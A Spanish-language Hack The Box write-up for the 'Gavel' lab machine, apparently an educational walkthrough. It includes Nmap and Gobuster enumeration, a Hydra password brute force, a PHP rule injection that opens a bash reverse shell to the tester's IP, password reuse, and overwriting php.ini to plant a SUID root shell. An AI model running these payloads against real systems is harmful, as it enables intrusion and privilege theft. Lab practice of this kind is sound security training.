Descripción

Gavel es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de la página web para encontrar un repositorio Git con el código fuente de la aplicación web
  • Fuerza bruta de un formulario de inicio de sesión con un nombre de usuario encontrado para acceder al panel de administrador
  • Ejecución de comandos remotos en la aplicación web permitiendo la entrada de código PHP introducido por el usuario
  • Pivote de usuario mediante la reutilización de contraseñas
  • Escalada de privilegios mediante la ignoración de funciones PHP deshabilitadas y la vulnerabilidad de la aplicación web con comandos ejecutados como usuario root.

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.19.185.

$ ping -c 3 10.129.19.185
PING 10.129.19.185 (10.129.19.185) 56(84) bytes of data.
64 bytes from 10.129.19.185: icmp_seq=1 ttl=63 time=43.5 ms
64 bytes from 10.129.19.185: icmp_seq=2 ttl=63 time=43.5 ms
64 bytes from 10.129.19.185: icmp_seq=3 ttl=63 time=43.7 ms

--- 10.129.19.185 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.463/43.565/43.732/0.119 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.19.185 -sS -Pn -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.19.185
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds

Obtenemos dos puertos abiertos, 22, y 80.

Enumeración

Ahora realizamos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.129.19.185 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.129.19.185
Host is up (0.043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_  256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://gavel.htb/
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.86 seconds

Obtenemos el servicio SSH y el servicio HTTP. Encontramos el subdominio gavel.htb, lo añadimos al archivo /etc/hosts.

echo "10.129.19.185 gavel.htb" | sudo tee -a /etc/hosts

Encontramos un sitio web sobre una casa de subastas en la que podemos realizar pujas. Podemos crear una cuenta y iniciar sesión. Después de iniciar sesión tenemos el menú Biddings donde podemos ver las subastas en vivo que podemos pujar introduciendo un número. Después de una enumeración encontramos que el servidor web alberga el código fuente de la página en la carpeta .git. Lo volcamos con la herramienta git-dumper.

$ gobuster dir -u 'http://gavel.htb' -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://gavel.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git                 (Status: 301) [Size: 305] [--> http://gavel.htb/.git/]
...
$ python -m venv venv
$ . venv/bin/activate
$ pip install git-dumper
$ git-dumper http://gavel.htb/.git/ gavel_git
$ cd gavel_git
$ ls
admin.php  assets  bidding.php  includes  index.php  inventory.php  login.php  logout.php  register.php  rules

Explotación

Al verificar el código fuente descargado encontramos algunas cosas. En primer lugar, encontramos que existe un panel de administrador, pero solo es accesible para un usuario con el rol auctioneer, en el archivo admin.php.

<?php
require_once __DIR__ . '/includes/config.php';
require_once __DIR__ . '/includes/db.php';
require_once __DIR__ . '/includes/session.php';
require_once __DIR__ . '/includes/auction.php';

if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'auctioneer') {
    header('Location: index.php');
    exit;
}
...

En el bid_handler.php encontramos que cada puja realizada pasa por una regla para comprobar si es válida, que se guarda en un archivo .yaml. Crea la función ruleCheck con el contenido de la regla.

$rule = $auction['rule'];
$rule_message = $auction['message'];

$allowed = false;

try {
    if (function_exists('ruleCheck')) {
        runkit_function_remove('ruleCheck');
    }
    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
    error_log("Rule: " . $rule);
    $allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
    error_log("Rule error: " . $e->getMessage());
    $allowed = false;
}

En el archivo default.yaml encontramos algunos ejemplos de las reglas, es código PHP.

rules:
  - rule: "return $current_bid >= $previous_bid * 1.1;"
    message: "Bid at least 10% more than the current price."
...

Sabiendo esto, si tenemos acceso al panel de administrador para modificar una regla de subasta, podemos ejecutar código de forma remota, si la función system está habilitada. Al realizar una fuerza bruta en el formulario de inicio de sesión con el usuario auctioneer y las primeras 4000 contraseñas de la lista de palabras rockyou.txt encontramos la contraseña del usuario, midnight1. Si se recibe un código de estado 302 en la respuesta HTTP, el inicio de sesión es correcto.

$ head -n 4000 /usr/share/wordlists/rockyou.txt > mini_list.txt
 hydra -l auctioneer -P mini_list.txt "http-post-form://gavel.htb/login.php:username=^USER^&password=^PASS^:2=:Invalid username"      
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting
[DATA] max 16 tasks per 1 server, overall 16 tasks, 4000 login tries (l:1/p:4000), ~250 tries per task
[DATA] attacking http-post-form://gavel.htb:80/login.php:username=^USER^&password=^PASS^:2=:Invalid username
[STATUS] 665.00 tries/min, 665 tries in 00:01h, 3335 to do in 00:06h, 16 active
[STATUS] 623.00 tries/min, 1869 tries in 00:03h, 2131 to do in 00:04h, 16 active
[80][http-post-form] host: gavel.htb   login: auctioneer   password: midnight1
1 of 1 target successfully completed, 1 valid password found

Obtenemos la contraseña del usuario administrador auctioneermidnight1. Accedemos al panel de administrador, podemos modificar las reglas. Introducimos la regla system('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.51/4321 0>&1"'); return true; para spawnar una reverse terminal a nuestro sistema. Comenzamos a escuchar un puerto TCP con el comando nc -nvlp 4321. Entonces activamos la vulnerabilidad pujando con la cuenta que creamos anteriormente. Recibimos la terminal inversa, la actualizamos. Podemos pivotar al usuario auctioneer con la contraseña midnight1 encontrada anteriormente.

$ nc -nvlp 4321       
listening on [any] 4321 ...
connect to [10.10.14.51] from (UNKNOWN) [10.129.19.185] 59650
bash: cannot set terminal process group (1066): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$ su auctioneer
su auctioneer
Password: midnight1
id    
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
script /dev/null -c bash
Script started, output log file is '/dev/null'.
auctioneer@gavel:/var/www/html/gavel/includes$ ^Z
[1]  + 200137 suspended  nc -nvlp 4321
$ stty raw -echo; fg
$ reset xterm
auctioneer@gavel:/var/www/html/gavel/includes$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

Encontramos que somos parte del grupo gavel-seller. Vamos a buscar archivos propiedad de este grupo.

auctioneer@gavel:/var/www/html/gavel/includes$ find / -group gavel-seller 2> /dev/null
/run/gaveld.sock
/usr/local/bin/gavel-util

Encontramos dos: /run/gaveld.sock y /usr/local/bin/gavel-util. El binario gavel-util se utiliza para añadir nuevos artículos a las subastas.

auctioneer@gavel:/var/www/html/gavel/includes$ gavel-util
Usage: gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice

Encontramos un ejemplo del archivo .yaml para agregar un nuevo artículo en el archivo /opt/gavel/sample.yaml.

auctioneer@gavel:/var/www/html/gavel/includes$ cat /opt/gavel/sample.yaml
---
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"

También encontramos un archivo de configuración .php que desactiva algunas funciones para ejecutar comandos o abrir archivos /opt/gavel/.config/php/php.ini.

auctioneer@gavel:/var/www/html/gavel/includes$ cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
auctioneer@gavel:/var/www/html/gavel/includes$ cd

Vamos a utilizar la técnica anterior para crear un nuevo artículo con una regla modificada para ejecutar código PHP. Primero vamos a modificar el archivo php.ini para eliminar todas las funciones deshabilitadas con el fin de poder ejecutar comandos de terminal con la función system. Como vemos la función file_put_contents no está deshabilitada, por lo tanto la usamos para limpiar el archivo. Este es el archivo .yaml que vamos a utilizar.

name: "Gavel Vuln"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Error"
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', ''); return true;"

Entonces añadimos el artículo, y el código se ejecutará, ya que comprobamos el contenido de php.ini.

auctioneer@gavel:~$ nano item.yaml
auctioneer@gavel:~$ gavel-util submit item.yaml
Item submitted for review in next auction
auctioneer@gavel:~$ cat /opt/gavel/.config/php/php.ini

Ahora creamos un binario Bash con SUID en el directorio /opt/gavel/ para desplegar una terminal root. Con la siguiente regla:

system('cp /bin/bash /opt/gavel/suid-bash; chmod u+s /opt/gavel/suid-bash'); return true;

Ahora podemos desplegar la root terminal.

auctioneer@gavel:~$ /opt/gavel/suid-bash -p
suid-bash-5.1# id
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer),1001(gavel-seller)

Flags

En la terminal root podemos recuperar las flags user.txt y root.txt.

suid-bash-5.1# cat /home/auctioneer/user.txt 
<REDACTED>
suid-bash-5.1# cat /root/root.txt 
<REDACTED>